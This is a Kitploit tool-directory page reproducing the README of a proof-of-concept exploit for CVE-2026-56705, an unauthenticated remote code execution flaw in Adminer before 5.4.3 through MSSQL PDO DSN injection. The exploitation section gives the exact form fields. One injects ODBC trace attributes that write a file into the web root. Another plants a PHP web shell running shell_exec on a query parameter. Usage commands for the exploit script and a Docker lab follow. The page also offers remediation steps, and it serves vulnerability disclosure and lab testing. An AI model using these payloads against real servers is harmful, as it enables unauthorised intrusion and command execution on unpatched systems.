Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-56705 — PoC exploit for Adminer < 5.4.3 unauthenticated RCE via MSSQL PDO DSN injection, including Docker lab and negative test. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-56705
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHubboreas37/cve-2026-56705

CVE-2026-56705

PoC exploit for Adminer < 5.4.3 unauthenticated RCE via MSSQL PDO DSN injection, including Docker lab and negative test.

View Repository
21 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-56705: Adminer < 5.4.3 — Unauthenticated RCE via MSSQL PDO DSN Injection

CVECVE-2026-56705
GHSAGHSA-r4x9-5m63-3vxw (vendor advisory) / GHSA-34q8-53jm-qc2r (GitHub DB)
ProductAdminer (single-file PHP database management tool)
AffectedAdminer < 5.4.3 with pdo_sqlsrv + Microsoft ODBC Driver for SQL Server
Fixed in5.4.3
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
TypeCWE-20 → unauthenticated arbitrary file write → RCE

Summary

Adminer fails to sanitize the user-supplied server field before building the PDO DSN for MSSQL connections:

root@kitploit:~
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
    list($host, $port) = host_port($server);
    return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}

Semicolons in server are treated as ODBC connection-attribute delimiters, so an unauthenticated attacker can append arbitrary attributes to the DSN — including TraceFile and TraceOn. The unixODBC trace facility writes the full connection string (with UID={username} verbatim) to TraceFile before and regardless of the connection attempt succeeding. Injecting PHP code through the username field and pointing TraceFile into the web root produces a web shell.

A single unauthenticated login POST is enough. No valid credentials, no user interaction.

Exploitation

root@kitploit:~
auth[driver]   = mssql
auth[server]   = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
  1. Login POST builds DSN sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
  2. ODBC driver manager writes a trace containing UID={<?php ... ?>} to /var/www/shell.php
  3. Connection fails (expected, irrelevant) — the file is already written
  4. GET /shell.php?c=id → command executes

Usage

root@kitploit:~
# fingerprint only
python3 poc.py --target http://target/adminer.php --check

# full exploit (writes <random>.php into the web root)
python3 poc.py --target http://target/adminer.php --command "id"

Lab reproduction

root@kitploit:~
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id

The lab image mirrors the advisory prerequisites exactly: php:8.3-cli + pdo_sqlsrv (pecl) + msodbcsql18, web root writable by the PHP process.

Remediation

  • Upgrade to Adminer 5.4.3+.
  • If you cannot upgrade immediately: remove/block the mssql driver, or strip ; (and whitespace) from user-supplied server values at a reverse proxy.
  • Restrict the web root against writes from the PHP-FPM/CLI user as defense-in-depth.

Credit

Vendor advisory credits the discovery jointly to the reporter and Yashar Shahinzadeh (@voorivex).

PoC & lab: Hamza Cagrici (@Boreas37)

Timeline

DateEvent
2026-08-25CVE published / fixed in Adminer 5.4.3
Download Tool